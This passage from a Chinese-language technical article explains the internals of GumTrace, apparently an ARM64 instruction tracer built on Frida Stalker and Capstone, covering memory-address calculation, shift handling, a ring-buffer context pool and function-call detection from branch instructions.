4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; callback_ctx-&gt;instruction_detail.arm64.op_count; i++) {</span><br/><span leaf="">    cs_arm64_op &amp;op = callback_ctx-&gt;instruction_detail.arm64.operands[i];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((op.access &amp; CS_AC_READ) &amp;&amp; op.type == ARM64_OP_REG) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 读寄存器：记录当前值</span></span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((op.access &amp; CS_AC_WRITE) &amp;&amp; op.type == ARM64_OP_MEM) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 写内存：计算 base + (index &lt;&lt; shift) + disp</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span leaf=""> shifted_index = Utils::</span><span style="color: rgb(0, 122, 204);"><span leaf="">apply_shift</span></span><span leaf="">(index, op.shift.type,</span><br/><span leaf="">                                                      op.shift.value);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span leaf=""> write_address = base + shifted_index + op.mem.disp;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 记录 mem_w=地址</span></span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((op.access &amp; CS_AC_READ) &amp;&amp; op.type == ARM64_OP_MEM) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 读内存：同样计算有效地址</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 记录 mem_r=地址</span></span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((op.access &amp; CS_AC_WRITE) &amp;&amp; op.type == ARM64_OP_REG) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 写寄存器：加入 write_reg_list，下一条指令的callout读取</span></span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="577" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">内存地址的计算覆盖了ARM64复杂的寻址模式：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">base + (index &lt;&lt; shift) + displacement</span></code><span leaf="">。对于后索引（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">[base], <a class="wx_topic_link" topic-id="mny050nm-q7ieax" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm</a></span></code><span leaf="">）和预索引（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">[base, <a class="wx_topic_link" topic-id="mny050nm-gfu3we" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm</a>]!</span></code><span leaf="">）模式，基址寄存器本身也会被更新，因此同时加入写回列表。</span></p><h3 data-line="579" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7.4 移位计算</span></h3><p data-line="581" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ARM64支持多种移位类型，GumTrace通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_shift</span></code><span leaf="">函数完整覆盖：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="583" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">apply_shift</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">__uint128_t</span></span><span leaf=""> value,</span><br/><span leaf="">                                     arm64_shifter type,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> amount)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span leaf=""> val = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span leaf="">)value;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (type) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> ARM64_SFT_LSL: </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> val &lt;&lt; amount;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> ARM64_SFT_LSR: </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> val &gt;&gt; amount;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> ARM64_SFT_ASR: </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span leaf="">)((</span><span style="color: rgb(163, 21, 21);"><span leaf="">intptr_t</span></span><span leaf="">)val &gt;&gt; amount);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> ARM64_SFT_ROR: </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> (val &gt;&gt; amount) | (val &lt;&lt; (</span><span style="color: rgb(0, 128, 0);"><span leaf="">64</span></span><span leaf=""> - amount));</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> ARM64_SFT_MSL: </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> (val &lt;&lt; amount) | ((</span><span style="color: rgb(0, 128, 0);"><span leaf="">1ULL</span></span><span leaf=""> &lt;&lt; amount) - </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">default</span></span><span leaf="">: </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> val;</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="599" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">其中MSL（Masked Shift Left）较为少见，它在左移后将低位全部填1，常见于SIMD指令的立即数编码。</span></p><h2 data-line="601" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8 CallbackContext：对象池设计</span></h2><p data-line="603" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每条指令的callout需要一个上下文对象来存储反汇编结果。频繁的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">malloc</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">free</span></code><span leaf="">会严重拖慢性能。GumTrace使用环形对象池解决这个问题。</span></p><h3 data-line="605" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8.1 预分配策略</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="607" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> CALLBACK_CTX_SIZE 102400</span></span><br/><span leaf="">CallbackContext::</span><span style="color: rgb(0, 122, 204);"><span leaf="">CallbackContext</span></span><span leaf="">() {</span><br/><span leaf="">    list = (CALLBACK_CTX*)</span><span style="color: rgb(0, 122, 204);"><span leaf="">calloc</span></span><span leaf="">(CALLBACK_CTX_SIZE, </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(CALLBACK_CTX));</span><br/><span leaf="">}</span></code></pre><p data-line="615" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在初始化时一次性分配102400个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CALLBACK_CTX</span></code><span leaf="">对象。每个对象包含完整的Capstone反汇编结果（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cs_insn</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cs_detail</span></code><span leaf="">），以及模块名和基址。</span></p><h3 data-line="617" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8.2 环形复用</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="619" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span leaf="">CALLBACK_CTX* </span><span style="color: rgb(128, 128, 128);"><span leaf="">CallbackContext::pull</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> cs_insn* _instruction, csh _handle,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* module_name,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> module_base)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (curr_index &gt;= CALLBACK_CTX_SIZE) {</span><br/><span leaf="">        curr_index = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 回绕</span></span><br/><span leaf="">    }</span><br/><span leaf="">    CALLBACK_CTX *ctx = &amp;list[curr_index++];</span><br/><span leaf="">    ctx-&gt;handle = _handle;</span><br/><span leaf="">    ctx-&gt;module_name = module_name;</span><br/><span leaf="">    ctx-&gt;module_base = module_base;</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(&amp;ctx-&gt;instruction, _instruction, </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(cs_insn));</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (_instruction-&gt;detail) {</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(&amp;ctx-&gt;instruction_detail, _instruction-&gt;detail, </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(cs_detail));</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> ctx;</span><br/><span leaf="">}</span></code></pre><p data-line="639" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pull</span></code><span leaf="">从池中取出下一个槽位，用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memcpy</span></code><span leaf="">填充反汇编数据。当索引到达末尾时回绕到0。这个设计的前提是：Stalker编译代码块时分配的callout上下文，在代码块被废弃前不会被覆盖。102400个槽位足够覆盖Stalker的工作窗口。</span></p><p data-line="641" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">整个对象池</span><strong><span leaf="">零堆分配</span></strong><span leaf="">，全部操作都是数组索引和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memcpy</span></code><span leaf="">，这是追踪引擎保持高吞吐的基石之一。</span></p><h2 data-line="643" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9 函数调用识别</span></h2><p data-line="645" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace不只是记录指令，还能自动识别函数调用并打印参数和返回值。这一功能由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FuncPrinter</span></code><span leaf="">类实现。</span></p><h3 data-line="647" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9.1 跳转目标解析</span></h3><p data-line="649" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">callout_callback</span></code><span leaf="">中，GumTrace检测四种跳转指令：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="651" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (callback_ctx-&gt;instruction.id == ARM64_INS_BL &amp;&amp;</span><br/><span leaf="">    callback_ctx-&gt;instruction_detail.arm64.operands[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">].type == ARM64_OP_IMM) {</span><br/><span leaf="">    jump_addr = callback_ctx-&gt;instruction_detail.arm64.operands[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">].imm;</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (callback_ctx-&gt;instruction.id == ARM64_INS_BLR &amp;&amp;</span><br/><span leaf="">         operands[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">].type == ARM64_OP_REG) {</span><br/><span leaf="">    Utils::</span><span style="color: rgb(0, 122, 204);"><span leaf="">get_register_value</span></span><span leaf="">(operands[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">].reg, cpu_context, jump_addr);</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (callback_ctx-&gt;instruction.id == ARM64_INS_BR &amp;&amp; ...) { ... }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (callback_ctx-&gt;instruction.id == ARM64_INS_B &amp;&amp; ...) { ... }</span></code></pre><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">BL</span></strong><p><span leaf="">：直接调用，立即数操作数就是目标地址。</span></p></li><li style=""><strong><span leaf="">BLR</span></strong><p><span leaf="">：间接调用，从寄存器读取目标地址（常见于虚函数调用、函数指针调用）。</span></p></li><li style=""><strong><span leaf="">BR</span></strong><p><span leaf="">：间接跳转，同样从寄存器读取地址（常见于尾调用优化和跳转表）。</span></p></li><li style=""><strong><span leaf="">B</span></strong><p><span leaf="">：直接跳转，在尾调用场景下等效于函数调用。</span></p></li></ul><p data-line="669" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">获取到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">jump_addr</span></code><span leaf="">后，在</span><code 